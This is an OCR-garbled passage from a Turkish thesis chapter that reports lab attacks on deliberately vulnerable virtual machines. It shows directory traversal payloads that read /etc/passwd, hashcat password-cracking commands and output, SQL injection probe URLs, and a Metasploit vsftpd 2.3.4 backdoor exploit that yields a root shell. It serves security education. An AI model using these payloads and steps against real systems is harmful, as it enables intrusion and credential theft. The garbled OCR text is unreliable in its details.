Bu calisma kapsaminda zafiyeti bulunan sanal makineler {izerinde saldirilar
gerceklestirilmis. Kuruluslar siber giivenlik anlaminda ¢aligmalarini yapiyor olsalar
da genelde kurum biinyesinde bulunan IP adresi alan cihaz sayisi ¢ok fazladir. Cihaz
sayis1 ne kadar fazla ise siber korsanlar i¢in potansiyel hedef sayisi o kadar fazladir
denilebilir. Yanlis bir konfigiirasyonun, agik unutulan bir portun, yiiklenen bir

zafiyetli 6genin tiim sistemin giivenligini tehlikeye atabilecegi unutulmamalidir.
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4.1.1. Kirik kimlik dogrulama saldir1 bulgular:

Kirik kimlik dogrulama zafiyeti testlerini yapmak i¢in kullanilan dotdotpwn, hedef
sistem Tlizerinde bulunan veri permiitasyonlar1 iizerinde c¢alisir. Dotdotpwn araci
hedef sisteme istekte bulunur, sistemin dondiigli cevabi analiz ederek sistemin

savunmasiz oldugu noktalar1 kullanictya bildirir.

Saldir1 asamasinda genel bir tarama s6z konusu oldugu icin istenilen sonug elde
edilmistir fakat tarama siiresinin uzun siirdiigiinii belirtmek dogru olacaktir. Gergek
bir sisteme yapilacak olan saldirilarda, hedef sistem hakkinda aktif/pasif bilgi
toplanmasinin ardindan bir saldir1 gergeklestirilmesi olast bir durumdur. Bu durumda
saldirgan, hedef sisteme kisa stireli istekte bulunarak ilgili zafiyete ulasarak zafiyeti

sOmiirmeye baglayabilir.

4.1.1.1. Tcpdump ile paket analizi

Saldir1 sirasinda tcpdump araci kullanilarak giden paketler incelenmistir. Tcpdump,
ag trafigini izlemek i¢in bir C/C++ kiitiiphanesi olan libpcap iizerine insa edilmis

giiclii bir aragtir. Kali Linux tizerinde kurulu olarak gelmektedir.

Oncelikle sudo tcpdump -D komutu ile internet arayiizleri goriintiilenmistir. Saldirt
senaryosunda taranacak olan ethO araylzi, sudo tcpdump -i ethO komutu ile araca
parametre olarak verilmistir. Tarama esnasinda paket trafigi olusturacak farkli bir
islem yapilmadig: i¢in IP filtrelemesi yapilmamistir. Belirtilen IP adresinden gelen
paketler icin tcpdump -n src “IP. ADRESI”, belirtilen IP adresine gonderilen paketler
icin ise tcpdump -n dst “IP_ ADRESI” komutu kullanilabilir.

Sekil 4.1.’de de gorildiigii gibi siirekli olarak IP paketlerinin hedef sunucuya gittigi
gozlemlenmistir. Saldir1 tespit kurgusu yapilan bir sistemde, bu denli yogun ve
rastgele istekte bulunan IP adreslerinin tespit edilip sistem yoneticisinin haberdar

edilmesi ve gerekli aksiyonun alinmasi beklenmektedir.
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.55472 > 192.168.253.129.http:
.http > 192.168.253.128.55472:
.55472 > 192.168.253.129.http:
.55472 > 192.168.253.129.http:

.http > 192.168.253.128.55472:
.http > 192.168.253.128.55472:
.55472 > 192.168.253.129.http:
.http > 192.168.253.128.55472:
.55472 > 192.168.253.129.http:
.http > 192.168.253.128.55472:
55474 > 192.168.253.129.http:
.http > 192.168.253.128.55474:
.55474 > 192.168.253.129.http:
.55474 > 192.168.253.129.http:

.http > 192.168.253.128.55474:
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.http > 192.168.253.128.55476:
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[s], seq 1650856339, win 64248, options [mss 146@,sackOK,TS val 2386411644 ecr @,nop,wscal
[s.], seq 2629662730, ack 1650856340, win 5792, options [mss 146@,sackOK,TS val 178364 ecr|
[.]1, ack 1, win 502, options [nop,nop,TS val 2386411644 ecr 178364], length @

[P.], seq 1:265, ack 1, win 502, options [nop,nop,TS val 2386411645 ecr 1783641, length 26

[.], ack 265, win 215, optiens [nop,nop,TS val 178364 ecr 2386411645], length @

[P.], seq 1:212, ack 265, win 215, options [nop,nop,TS val 178364 ecr 2386411645], length
[.1, ack 212, win 501, options [nop,nop,TS val 2386411647 ecr 178364], length @

[F.], seq 212, ack 265, win 215, options [nop,nop,Ts val 178365 ecr 2386411645], length @
[F.], seq 265, ack 213, win 51, options [nop,nop,Ts val 2386411648 ecr 178365], length @
[.], ack 266, win 215, options [nop,nop,TS val 178365 ecr 23864116481, length @

[s], seq 716423182, win 64240, options [mss 146@,sackOK,TS val 2386411957 ecr @,nop,wscale]
[s.], seq 2914638081, ack 716423183, win 5792, options [mss 1460,sackOK,TS val 178442 ecr
[.], ack 1, win 502, options [nop,nop,TS val 2386411957 ecr 178442], length ©

[P.], seq 1:277, ack 1, win 502, options [nop,nop,TS val 2386411958 ecr 178442], length 27

[.1, ack 277, win 215, optiens [nop,nop,TS val 178442 ecr 2386411958], length @

[P.], seq 1:212, ack 277, win 215, options [nop,nop,TS val 178443 ecr 2386411958], length
[.], ack 212, win 501, options [nop,nop,TS val 2386411960 ecr 178443], length @

[F.]1, seq 212, ack 277, win 215, options [nop,nop,TS val 178443 ecr 2386411958], length @
[F.], seq 277, ack 213, win 501, options [nop,nop,TS val 2386411962 ecr 178443], length @
[.], ack 278, win 215, options [nop,nop,TS val 178443 ecr 2386411962], length @

[s], seq 1077964805, win 64240, options [mss 1460,sackOK,TS val 2386412269 ecr @,nop,wscal
[s.], seq 1224093664, ack 1077964806, win 5792, options [mss 1460,sackOK,TS val 178520 ecr
[.], ack 1, win 502, options [nop,nop,TS val 2386412270 ecr 178520], length @

[P.], seq 1:231, ack 1, win 52, options [nop,nop,TS val 2386412271 ecr 178520], length 23

[.1, ack 231, win 215, options [nop,nop,TS val 178521 ecr 2386412271], length @
[P.], seq 1:212, ack 231, win 215, options [nop,nop,TS val 178521 ecr 2386412271], length
[.]1, ack 212, win 501, options [nop,nop,TS val 2386412273 ecr 178521], length @
[F.], seq 212, ack 231, win 215, options [nop,nop,TS val 178521 ecr 2386412271], length @
[F.], seq 231, ack 213, win 501, options [nop,nop,TS val 2386412275 ecr 178521], length 0

Sekil 4.1. Saldirt sirasinda paketlerin tcpdump ile goriintiilenmesi

Saldirt sonlandiginda 60 adet kritik dosya/dizin hatas1 tespit edilmistir. Hedef sunucu
zafiyetli bir sunucu oldugu ve kapsamli tarama yapildig: icin zafiyetli alan sayisinin

bu denli fazla olmas1 beklenen bir durumdur.

[*] Testing URL: \..\etc\passwd%00index.htm
[*] Testing URL: http://192.168.253.129/dirtrav/examplel.php?file= \..\etc\passwd;index.html
[*] Testing URL: http://192.168.253.129/dirtrav/examplel.php?file=..\..\..\..\..\..\etc\passwd;index.htm

[+] Fuzz testing finished after 28.50 minutes (1710 seconds)
[+] Total Traversals found: 60
[+] Report saved: Reports/192.168.253.129_11-27-2021_16-20.txt

-] /home/krkymhmt /Desktop

Sekil 4.2. Zafiyet tarama sonucu bulunan kritik dosya/dizin sayisi

(0]

aliTools « KaliDocs Kali Forums NetHunter

[\ Offensive Security

Exploit-DB GHDB || MSFU

. daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4
pool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10
backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var,
y:monexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/
1:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash

Sekil 4.3. etc/passwd dosyasinin igerigi

Zafiyet sonucu erisilen etc/passwd dosyasinda kullanict kimligi, grubu, gibi kullanici

bilgileri diiz metin olarak saklanmaktadir. Bu bilgiler bir kullanici igin 7 ayr1 alandan
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olugmaktadir ve bu alanlar birbiri ile iki nokta(:) ile ayrilmistir. Sekil 4.4.’te bu

alanlar detayl1 olarak gosterilmis olup bu alanlardan kisaca bahsedilecek olursa;

- Kullanict adi: Kullanicinin sisteme giris yaptigi ad.

- Parola: Kullanicinin sisteme giris yaptig1 paroladir. x olarak géziikmektedir

ve parolanin /etc/shadow altinda tutuldugunu bildirir.

- UID: Her kullaniciya atanan essiz kullanici kimlik degeri.

- GID: Kullanicinin bagli bulundugu grup kimlik degeri.

- GECOS: Kullanicinin telefon, adres gibi ekstra bilgilerini tutan alan.

- Ev dizini: Kullanicinin oturum agtiginda bulunacagi ana dizin.

- Kabuk: Kullanicinin bagli bulundugu kabuk.

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

Sekil 4.4. etc/passwd dosyasinda bulunan kullanici bilgisi format1 6rnegi

Giliniimiizde linux sistemlerde parola bilgisi /etc/shadow/ altinda saklanmaktadir ve
sadece root izni olan kullanicilar bu dosyanin igerigini goriintiillemektedir.
/etc/passwd dosyasina erismek, kullanici parolarini tahmin etmek i¢in saldirgana
ipucu verebilir. Dosya {izerinde bulunan ve kisisel bilgilerin bulundugu GECOS alan

bu noktada saldirganlara yardimci olabilmektedir. Ayrica bu saldir1 ile daha kritik
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dosyalarin elde edilmesi durumunda saldirganlar sistemin ele gecirilmesi noktasinda

cok daha aktif rol oynayabilecekleri gozlemlenmistir.

4.1.2. Kriptografik/Sifreleme hatalari saldir1 bulgular:

Kriptografik/Sifreleme hatalar1 zafiyeti icin uygulama asamasinda hastcat araci
kullanilmistir. Hashcat c¢ok gelismis bir sifre kirma aracidir. Asagida belirtilen

modlara sahiptir:

Kaba Kuvvet (Brute Forcing): Bu yaklasimda tiim kombinasyonlar tek tek denenir.

Kolay bir yaklasimdir fakat maliyeti yiiksektir.

Sozlik Saldirilart (Dictionary Attacks): Saldirganin elinde bulunan kelime
listesindeki metinlerin hash algoritmasina verilerek karsilastirilmasi metadolojisine

dayanir. Buradaki basar1 oran1 kelime listesinin zenginligiyle dogru orantili olacaktir.

Gokkusagr Tablosu (Rainbow Table): Bu yaklagimda; gokkusag: tablosu ad1 verilen
sifreli metin verileri ile, saldirganin elinde bulunan sifreli metin karsilastirilir. Iki

sifrelenmis metin karsilastirildigi i¢in siire¢ ¢cok hizhidir.

Karma Saldirilar (Hybrid Attacks): Sozliikk saldirilar1 ve kaba kuvvet saldirilarinin
birlesiminden olugmaktadir. S6zliik saldirilarinda bulunan kelimelerin basina ya da

sonuna On ekler eklenerek gerceklestirilir.

Maskeleme Saldirilar1 (Mask Attacks): Kullanicilarin sifrelerinin analiz edilmesi
sonucu ortaya c¢ikan bir yaklagim tiiriidiir. Genelde kullanilan sifrelerinin ilk
karakterinin biiylik harf olmasi, son karakterinin bir noktalama isaretiyle bitmesi gibi

bilinen formatlardan faydalanilarak 6zel yapilar olusturulabilir.

Saldir1 senaryosunda sozliik saldirist tipi kullanistir. Hash ile sifrelenmis olan parola,
nispeten basit ve genel bir parola oldugu i¢cin hashcat ile basarili sonuglar elde

edilmistir.
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En ¢ok kullanilan iki saldir1 tipi olarak sayilabilecek sozliik saldirist ve kaba kuvvet
saldiris1 ile saldir1 senaryosu tekrarlanmistir. Kaba kuvvet saldirisinda saldirganin
elde edilmeye calisilan parola hakkinda genel bilgisi oldugu varsayilmistir. Oyle ki
saldirgan, parolanin en az 4, en fazla 8 karakterden ve sadece kiigiik harflerden
olustugu bilgisini bildigi bu varsayimlar arasindadir. Kaba kuvvet saldirisi igin
‘hashcat -m1400 /home/usr/Desktop/pass.txt -a3 -1?1?u?d ?1?1?171?1?1?1?1 --
increment --increment-min 4’ komutu kullanilmistir. Komutta yer alan her bir ?1
ifadesi, parolada yer alan karakterin kiigiik harf oldugunu temsil etmektedir. Ayrica
increment komutu ile parola uzunlugunun artabilecegi bildirilir ve increment-min,
increment-max komutlar1 ile de parolanin uzunlugumun simirlandirilabilir. Elde
edilen bulgular neticesinde sozliik saldirisinin daha performansli ve daha kisa siirede

sonug verdigi gézlemlenmistir.

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin

: hashcat
: Cracked
: SHA2-256
! 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bbBasgl. . . 48a918
: Thu Jan 20 01:11:22 2022 (0 secs)
Time.Estimated...: Thu Jan 2@ ©1:11:22 2022 (@ secs)
Guess.Base 1 File (/usr/share/wordlists/rockyou.txt)
Guess.Queue 1 1/1 (100.00%)
740.9 kH/s (1.07ms) @ Accel:1024 Loops:1 Thr:l Vec:8

1 1/1 (100.00%) Digests

1 20480/14344385 (0.14%)

1 0/20480 (0.00%)
Restore.Point....: 16384/14344385 (0.11%)
Restore.Sub.#1...: Salt:® Amplifier:0-1 Iteration:0-1
Candidates.#1 : christal -> michelle4

Started: Thu Jan 20 ©1:11:21 2022
Stopped: Thu Jan 20 91:11:24 2022
hashcat -a @ -m 1400 /usr/share/wordlists/rockyou.txt @.53s user 0.62s system 38% cpu 2.981 total

Sekil 4.5. Sozliik saldirist ¢iktist
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: hashcat
: Cracked
Hash.Name
Hash.Target : 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8aBl. . . 48a918
Time.Started : Thu Jan 20 00:58:59 2022 (1 sec)
Time.Estimated...: 20 00:59:00 2022 (0@ secs)
Guess.Mask : 1 [5]
-1 , -2 Undefined, -3 Undefined, -4 Undefined
1 2/5 (40.00%)
1 26254.2 kH/s (8.81ms) § Accel:1024 Loops:62 Thr:1 Vec:8

Recovered.. : 1/1 (100.00%) Digests
Progress... 1 15237120/916132832 (1.66%)

j 1 0/15237120 (0.00%)
Restore.Point 1 241664/14776336 (1.64%)
Restore.Sub.#1...: Salt:0® Amplifier:0-62 Iteration:0-62
Candidates.#1 : sBjar -> XWuna

Started: Thu Jan 20 00:58:24 2022
Stopped: Thu Jan 20 00:59:02 2022

Sekil 4.6. Brute force saldirisi ¢iktist

Sozlik saldirist ile sonuca hizli gidilebilir gibi goziikebilir fakat burada kritik nokta
sozliglin  zenginligi oldugu unutulmamalidir. Zengin olmayan, igerisindeki
kombinasyon sayisinin az oldugu durumlarda so6zliik, saldirgan icin yetersiz kalabilir.
Kaba kuvvet saldirilar1 ise performans olarak sozliik saldirilar1 kadar iyi olmasa da
tim kombinasyonlar tek tek denendigi icin mutlak sonuca ulasilacaktir. Parolanin
uzunlugu, karmasikligt bu siireyi saatler, giinler, aylar, yillar hatta yiizyillara
cikartabilir. Burada mutlak sonuctan kasit, zaman kisitinin olmadigi durumlar i¢indir.
Sistemin CPU (Central Process Unit) ve GPU (Graphics Processing Unit) guci de

sonuca ulagsmay1 etkileyen en 6nemli faktorlerdendir.

4.1.3. Enjeksiyonlar saldir1 bulgular:

Bu zafiyetin en bilinen 6rneklerinden biri HTTP bagliklar lizerinden gergeklestirilen
SQL enjeksiyon saldirisidir. SQL enjeksiyon saldirilart diger saldir tiirlerine gore
basit saldirilar olduklar1 i¢in bilgi giivenligi alaninda ¢ok fazla tecriibesi olmayan
insanlar bile bu saldirilar1 gergeklestirebilir. Bu zafiyet; kullanic1 girisine dayali SQL
enjeksiyonu, cerezlere dayali SQL enjeksiyonu, HTTP basliklarina dayali SQL

enjeksiyonu ve ikinci dereceden SQL enjeksiyonu olarak 4 ana baslikta incelenebilir:

Kullanici1 girisine dayali SQL enjeksiyonu: Kullanicidan alinan bilgilerin sterilize

edilmeden direkt sorguda kullanilmas1 sonucu ortaya ¢ikabilecek saldirilardir.
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Cerezlere dayali SQL enjeksiyonu: Web uygulamalarinda kullanilan c¢erezler

tizerinden yapilan saldirilardir.

HTTP basliklarina dayali SQL enjeksiyonu: URL iizerinde bulunan parametrelerin
SQL ifadeleriyle degistirilmesinden kaynaklanan saldirilardir.

Ikinci dereceden SQL enjeksiyonu: Zararli SQL ifadesinin veri tabaninda bulunmasi
fakat ¢alistirllmamasi iizerine tasarlanan saldirilardir. Karmagik bir saldir1 tiirii olup
tespit edilmesi zordur. Saldirgan tarafindan istenilen zamanda saldir

aktiflestirilebilir.

4.1.3.1. Sglmap ile enjeksiyon atagimin OWASP ZAP ve Skipfish ile incelenmesi

Bu calismada SQL enjeksiyon saldirisi i¢in kullanict girisi ile saldir1 yontemi ve
sqlmap ile saldir1 yontemi uygulanmigtir. Saldir1 i¢in kullanilan IP adresi OWASP
Zed Attack Proxy (OWASP ZAP) ve Skipfish araglari ile taranarak gesitli bulgular
elde edilmisti. OWASP ZAP acik kaynak kodlu web uygulamasi giivenlik
tarayicidir. Gilivenlik uzmanlart ya da web uygulamasma yeni baglayanlarin
kolaylikla kullanabilecegi bir aragtir. Kullanimi basit bir arayiize sahiptir. Skipfish’te
OWASP ZAP gibi web uygulama giivenlik tarayicidir. Tarama sonucunda belirtilen

dizine giivenlik taramasi ile alakali bir rapor olusturur.

OWASP ZAP ile tarama yapabilmek igin giris sayfasinda bulunan ilgili alana IP
adresi vermek yeterli olacaktir. Tarama sonucunda goriildiigii gibi 4 adet SQL
enjeksiyon zafiyeti bulunmustur ve bu hatalarin seviyelerini onemli olarak

isaretlemistir.
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¥ Alerts (7)
| GET: http://192.168.253.128/sqlifexamplel. php?name=root%27 + AND+%27
| GET: http://182.168.253.128/sqlifexampled . php?id=4-2
| GET: http://182.168.253.128/sqlifexample5.php?id=4-2
| GET: http://182.168.253.128/sqlifexamples. php?id=4-2
» [0 Application Error Disclosure (18)
» [0 X-Frame-Options Header Not Set (67)
» (U absence of Anti-CSRF Tokens (6)
» U Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s) (4
+ [ Web Browser XSS Protection Mot Enabled (69)
> U ¥-Content-Type-Options Header Missing (75)

Sekil 4.7. SQL Injection ile kullanict bilgilerinin elde edilmesi

Skipfish ile tarama islemini gergeklestirebilmek ic¢in konsol ekranina ‘skipfish -0
/home/user/Desktop/exportFileName http://192.168.253.129/sqli’ komutunu yazmak

yeterli olacaktir. -o parametresi ile raporun olusturulacagi dizin belirtilmektedir.

0:18:59.080

80200 (121.7/s), 65799 kB in, 16793 kB out (125.3 kB/s)
39115 kB in, 156429 kB out (6€ ain)

356 net errors, @ proto errors, @ retried, @ drops

1155 total (69.4 reg/conn)

@ failures, 356 timeouts, 16 purged

6664 skipped

4]

807 total, 802 done (99.

@ pending, @ init, @ attacks, 5 dict

41 spotted

1 serv, 23 dir, 282 file, 41 pinfo, 32 unkn, 52 par, 376 val
614 info, 7 warn, 6 low, 476 medium, 17 high impact

154 words (154 new), 5 extensions, 256 candidates

77 total

Sekil 4.8. Skipfish tarama sonucu
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@ File inclusion ()
@ Query injection vector (9)

1. http://192.168.253.129/commandexec/examplel.php?ip=127.0.0.1" [ show trace + Komut enjeksiyonu
Memo: response to ™" different than to "™

2. http://192.168.253.129/commandexeciexample3.php?ip=127.0.0.1" [ show trace + saldirilar

3. hﬂp:kf192.168,253.129]sqlifexamplel.php?name:root"' show trace +

Memo: response to """ different than to """

4. hrlp:#lgz.lﬁ&gﬁ“a129]sqlifegl§!:|1plez.php?name:root“' [ show trace + ] SQL enjeksiyon
Memao: response to different than to

5. http://192.168.253.129/sqlifexample3.php?name=root™ | show trace + 1 saldinlar
Memaeo: response to ™" different than to "

6. http://192.168.253.129/sqli/example4.php?id=2%200%200%20-%20- | show trace +
Memo: response suggests arithmetic evaluation on server side (type 2)

7. http://192.168.253.129/sqlifexampleb.php?id=2%200%200%20-%20- | show trace +
Memeo: response suggests arithmetic evaluation on server side (type 2)

8. http://192.168.253.129/sqli/example6.php?id=2%200%200%20-%20- | show trace +
Memeo: response suggests anthmetic evaluation on server side (type 2)

9. http://192.168.253.129/sq|li/example9.php?order=9%201%20- | show trace +
Memo: response suggests arithmetic evaluation on server side (type 2)

@ Shell injection vector (4
© Signature match detected (higher risk) (2)

Sekil 4.9. Skipfish detayli raporu

Iki ara¢ karsilastirildiginda OWASP ZAP saniyeler icinde taramayi bitirmistir.
Skipfish yaklagik 11 dakikada taramayi1 tamamlamistir. Bulunan SQL enjeksiyonu
zafiyet sayilari incelediginde OWASP ZAP 4 adet zafiyet tespit ederken Skipfish ise
bu rakam 7’dir. Skipfish araci kapsam, raporlama, performans, kimlik dogrulama
gibi bircok parametreye sahiptir. Bu parametreler kullanilarak tarama stiresi

diistirilebilir.

4.1.4. Giivensiz tasarim saldir1 bulgular

Giivensiz tasarim zafiyeti, mimaride bulunan kusurlu tasarimlar sonucu ortaya ¢ikan
zafiyetleri barindirir. Mimaride bulunan hatalar, SQL enjeksiyonu, dosya/dizin
zafiyetleri, parola zafiyetleri gibi bir¢cok gilivenlik zafiyeti olusturabilir. Ayrica
mimaride bulunabilecek ve zafiyet olusturabilecek maddeler asagida belirtilmistir.

- Sifrelerin geri doniistiirebilir bir formatta saklanmasi.

- Tehlikeli tlirde sinirsiz dosya yiiklenmesi.

- HTTP isteklerinin tutarsiz yorumlanmasi.

- Kimlik bilgileri korumasinin yetersiz olmasi.
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- Hassas bilgiler igeren web tarayici 6nbellegi kullanimi.

- Hassas bilgiler igeren kalic1 ¢erezlerin kullanimu.

- Oturumda depolanan serilestirilemeyen nesne kullanima.

4.1.5. Yanhs giivenlik yapilandirmalari saldir1 bulgulari

Yanlis glivenlik yapilandirmalari, en temel anlamziyla bir sunucu ya da uygulama igin
gerekli giivenlik konfiglirasyonunun yapilmamasit ya da eksik yapilmasi sonucu
ortaya cikan zafiyetlerdir. Zafiyetlerden faydalanan saldirganlar yetkisiz erisim,
yetkilerin yiikseltilmesi, agik ve korumasiz dosya ve dizinlerden bilgi toplama gibi
islemler yapabilmektedirler.

Teknolojinin ilerlemesiyle birlikte ginimizde veri merkezleri ve uygulamalar hibrit
olarak ¢alismaktadir. Hibrit ¢aligma, birgok teknolojinin ayni anda ¢alismasina imkan
sunan bir sistemdir. Bu sistem isleri kolaylastirsa da teknolojilerin yonetilmesi zor ve
dikkatle yonetilmesi gereken bir siirectir. Siirekli giincellenen teknolojiler dogru
giivenlik kontrollerinin yapilmasini da gii¢lestirmektedir.

Cok sik karsilasilan bu zafiyetler asagidaki sekilde 6rneklendirilebilir:

- Varsayilan giivenlik yapilandirmalari.

- Gegici olmast beklenen konfigilirasyon ayarlari.

- Acik ve gereksiz birakilan portlar.

- Kullanilmayan uygulamalarin aktif olmasi.
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4.1.5.1. Zenmap ile port taramasi sonrasi uygun exploit bulunmasi

Uygulama asamasinda kullanilan sunucu, zafiyet barindiran bir sunucu oldugu ig¢in
birgok nmap ile bircok zafiyet bulunmustur. Nmap araci ile yapilan islemler grafik
arayliz sunan ‘zenmap’ araci ile yapilabilir. Zenmap, nmap ile elde edilen verileri bir

bitiin i¢inde goériilmesini saglar ve kullanici dostu bir araylize sahiptir.

Uygulama asamasinda kullanilan nmap ile benzer bir saldiri senaryosu zenmap

araciligi ile de simiile edilmistir.

Scan Tools Profile Help
Target: 192.168.253.132 v Profile:  Intense scan

Command: nmap-T4-A-v

Hosts Services Nmap Output  Ports / Topology Host Details Scans
LLTCP ports
Host
Host is up (0.001@s latency).
192.168.253.132 (192.168.253.132) 977 closed tcp ports (reset)
192.168.253.131 (192.168.253.131) EORT STATE SERVICE VERSION

atus:
d to
ogged in as ftp
E: ASCII
bandwidth limit

| End of stat
|_ftp-anon: A

ous FTP loain allowed (FTP code 236)
OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)

:cd (DSA)
:f3 (RSA)
Linux telnetd|
Postfix smtpd|
nonName={IIHATEER EL UL [ EM)) /o rganizat ionName=0C05A/stateOrProvi
LR EE T (s R /0 rganizationName=0C0SA/stateOrProvinceName=There is

ithRSAEncryption
E 17T14:07:45
Not valid a 4 5
MD5:  dcd9 ad9e 6c8f 2f73 74af 383b 2540 8828

7066 83bf dsdc 2373 99b4 98da 2d4d 31c6

Filter Hosts

Sekil 4.10. Ornek bir Zenmap taramasi

Hedef IP adresi ‘Intense Scan’ modu kullanilarak tarama yapilmistir. Bu noktada
zenmap Uzerinde birgok tarama modu mevcuttur. 21. port lzerinde vsftpd 2.3.4.
servisi calistigr gozlemlenmistir. Ports/Hosts sekmesine gidilerek portlar {izerinde

calisan servisler daha detayli gdzlemlenebilir.
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Scan Tools Profile Help

Target: 192.168.253.132 Profile: Intense sca

Command: nmap-T4 -A-v192.168.253.132

Hosts Services Nmap Output Ports /Hosts  Topology Host Details Scans

0s Host Port Protocol State Service Version

4. 192.168.253.132 (192.168.253.132)
4p  192.168.253.131(192.168.253.131)

tcp open ftp vsftpd 2.3.4

tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)

tep open telnet Linux telnetd

tcp open smtp S mtpd

tcp open domain SCBIND 9.4.2

tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

tcp open rpcbind 2 (RPC #100000)

tcp open netbios-ssn Samba smbd 3. (workgroup: WORKGROUP)

tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
tcp open exe

tcp open login OpenBSD or Solaris rlogind

[ BN BN BN BN BN BN BN BN BN BN N )

tcp open tcpwrapped

Sekil 4.11. Zenmap iizerinde portlarda galisan servislerin detayli gosterimi

‘Vsftpd’ ile alakali Metasploit aramasi yapildiginda ilgili servis ve siiriimii ile alakali
uygun exploit oldugu gozlemlenmistir. Ilgili expoit’i kullanmak icin ‘use <Exploit
Adi>’ komutu ve ardindan ‘set RHOST <Hedef IP Adresi>’ komutu girilerek

kullanilacak exploit ve hedef IP adresi atamas1 yapilmistir.

msfé > search vsftpd

VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example i r us funix/ tpd_2

nsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
Error while running command use: No space left on device

Sekil 4.12. Metasploit iizerinde uygun exploit’in bulunmasi

Exploit i¢in deger atamasi tamamlandiktan sonra hedef sistemden bir ‘shell’
alabilmek i¢in payload olarak ‘cmd/unix/interact’ kullanilmistir. Bu noktada
kullanilabilecek diger payload’lar i¢in ‘show payloads’ komutu kullanilabilir.
Ardindan ‘exploit’ komutu ile saldir1 baglatilir. Kisa bir siire igerisinde hedef

sistemden ‘root’ yetkileriyle bir komut satir1 elde edilmistir.



82

msf6 exploit( ) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf6 exploit( ) > exploit

192.168.253.132:
192.168.253.
[+] 192.168.253

Banner: 220 (vsFTPd 2.3.4)

USER: 331 Please specify the password.
Backdoor service has been spawned, handling...
UID: uid=0(root) gid=0(root)

[+] 192.168.253.132:
Found shell.
Command shell session 1 opened (0.0.0.0:0 -> 192.168.253.132:6200) at 2022-02-03 17:27:39 +0300

whoami
root

Sekil 4.13. Hedef sisteme sizilarak komut satir1 elde edilmesi

Elde edilen bulgular ve cikarimlar neticesinde, kullanilmayan ya da giincelligini
yitirmis servis iizerinden bir ‘backdoor’ alinarak sistem ele gegirilmistir. Uygulama
asamasinda nmap ve zenmap araglart temel seviyede kullanilmigtir. Bu kullanim

yontemi ¢esitlendirilebilir.

4.1.6. Savunmasiz ve eski bilesenler saldir1 bulgular:

Uygulamada kullanilmayan modiiller, yazilimda bulunan giivenlik aciklari, giincel
olmayan web/uygulama sunuculari, veri tabani yonetim sistemleri, API’ler ve
kiitiiphaneler bu zafiyetin temel sebeplerinden bazilaridir. Genelde kullanilan
bilesenler birden fazla alt bilesen igermektedir. Bazi durumlarda alt bilesenlerin
versiyon kontrollerini yapmak zor olabilir ve bu alt bilesenlerin giincelligini yitirmesi

uygulama giivenligini tehlikeye atmaktadir.

Uygulama asamasinda hedef sisteme .exe uzantili bir dosya gonderilmistir ve bu
dosyay1 kurbanin calistirdigi varsayilmistir. Giindelik yasantida isletim sistemleri,
firewall cihazlari, antivirlis programlar1 gibi bircok etken zafiyetli dosyalar1 son
kullaniciya ulagsmadan engellemektedir. Uygulama asamasinda bu engellemeleri
atlatmak icin Metasploit icinde bulunan encoders modiiliinii kullanilabilirdi.
Encoders modiilii ile zararli uygulamalar sifrelenerek hedef sisteme gonderilir ve

guvenlik kontrollerinden gegmesi beklenir.
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4.1.7. Tammlama ve kimlik dogrulama saldir1 bulgulari

Oltalama saldirilarinda saldirganlar, genelde hedefledikleri e-posta adreslerine
hediye, indirim, 6dul gibi vaatler iceren e-postalar gonderirler. Gonderilen e-posta
icerigindeki link aracilifiyla saldiriya ugrayan kisiden sahte bir form doldurmasi

beklenir. Saldirgan, formda doldurulan bilgiler araciligi ile saldiriy1 gergeklestirir.

Oltalama saldirilari, alan adlarinin taklit edilmesiyle de gergeklestirilebilir. Finansal
kuruluslar, e-ticaret platformlar1 gibi kuruluslarin siteleri, tasarim ve domain adi
olarak taklit edilir. Uygulama asamasinda yerel agda bulunan kullanicilar
hedeflenmistir. Genelde kurulusun domain adina bir ya da birkag¢ harf eklenir ya da
cikartilir. Site icerigi biiyiik dlclide ya da tamamen kopyalanir ve kullanicilarin bu

siteleri kullanmasiyla kisisel bilgilerinin ¢alinmas1 hedeflenir.

Gergeklestirilen saldiri, lokal ag tizerinden oldugu i¢in tarayicida taklit edilen domain
adi yerine IP adresi goriinmektedir. Bu durum hedef kullanicinin biraz dikkatli
olmasi halinde basarisiz bir saldir1 girisimi olabilir. DNS zehirlemesi (DNS spoofing)
saldirist ile bu sorun c¢oziilebilirdi. DNS zehirlemesi saldirisi ile saldirgan ilgili
domainin IP adresini degistirerek DNS sunucusundan kendi belirledigi IP adresini
sonug olarak dondiirebilir ve kullanici tarayici tizerinde hedef sisteme giris yaptigini

diistinerek saldirtya maruz kalabilir.

4.1.8. Yazilim ve veri biitiinliigii hatalar: saldir1 bulgular:

Giivenli olmayan kaynaklardan alinan bagimliliklar bu zafiyete sebebiyet verebilir.
Kaynaklar giivenli olsa dahi bu kaynagin giivenliginin ihlal edilmesi durumunda
ilgili bagimhiligi kullanan tiim uygulamalar saldirtya agik birer hedef haline

gelmektedir.

Saldir1 neticesinde uygulama icerisinde giivenilir olmayan kaynaklardan alinan
referans ve dosyalarin sistemi ele gegirme noktasinda etkin bir ara¢ olarak

kullanilabilecegi ¢ikarimi yapilmistir. Kars1 sistemden gelen dosyanin dijital imza
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gibi mekanizmalardan gecirilerek kullanilmasi dnerilmektedir. Ayrica hedef sisteme
gonderilecek verinin de sifrelenmis ve dijital imza eklenmis haliyle gonderimi

saglanmalidir.

